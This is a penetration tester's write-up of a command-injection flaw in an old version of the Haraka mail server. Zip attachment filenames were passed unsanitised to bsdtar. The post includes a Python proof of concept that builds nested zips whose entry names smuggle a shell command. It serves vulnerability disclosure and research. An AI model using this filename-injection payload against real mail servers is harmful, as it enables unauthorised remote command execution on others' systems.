If you’re a penetration tester, you’ve been there: that customer that certainly knows what they’re doing. The one that makes their stuff secure by the less-is-more concept.
In an assignment of all internet facing systems of this customer we had to dig deeper to find something. After extensive testing of their web applications, we weren’t happy enough and wanted more. Scanning the full perimeter was already done and didn’t present us any useful vulnerabilities. Time to go deeper!
Researching all internet-exposed services, I found they were running an older version of Haraka mail handler (NodeJS) which had quite a history but not a single security flaw with a CVE or other report. Time to dig in, reading back from the used version to the current I did a quickscan on the changes in source and reached out to the developers. There was one change that altered the way zip files where processed if the attachment plugin was enabled and claimed to fix a security vulnerability.
The old code replaced by the change shows the vulnerability. As can be seen there is a function listFiles which unsafely executes bsdtar with the filename, userinput, filename attached to it.
So if we could get a zipfile with ; in its name we have command injection. But then, attachments with ; in their name aren’t that easy to get on a remote server. However, a bit further we find code that unzips zip files in the original zip file.
This shows that all filenames ending with a known archive (zip for sure) will also end up in the command line. Instead of diving deeper in the code this is worth a try.
As I’m most comfortable with python, I developed a POC in python:
#!/usr/bin/python import zipfile import StringIO class InMemoryZip(object): def __init__(self): # Create the in-memory file-like object self.in_memory_zip = StringIO.StringIO() def append(self, filename_in_zip, file_contents): '''Appends a file with name filename_in_zip and contents of file_contents to the in-memory zip.''' # Get a handle to the in-memory zip in append mode zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False) # Write the file to the in-memory zip zf.writestr(filename_in_zip, file_contents) # Mark the files as having been created on Windows so that # Unix permissions are not inferred as 0000 for zfile in zf.filelist: zfile.create_system = 0 return self def read(self): '''Returns a string with the contents of the in-memory zip.''' self.in_memory_zip.seek(0) return self.in_memory_zip.read() def writetofile(self, filename): '''Writes the in-memory zip to a file.''' f = file(filename, "w") f.write(self.read()) f.close() if __name__ == "__main__": # Run a test imz = InMemoryZip() imz2 = InMemoryZip() imz3 = InMemoryZip() imz3.append("test.txt", "Another test") imz2.append("a\";touch /tmp/AAAAAP;echo \"a.zip", imz3.read()) #imz.append("container.zip", imz2.read()) imz.append("a\";touch /tmp/rare_aap;echo \"a.zip", imz3.read()) imz.writetofile("test.zip")
This worked just fine and full exploit code was written and submitted to exploit-db.org. Exploit code is available here.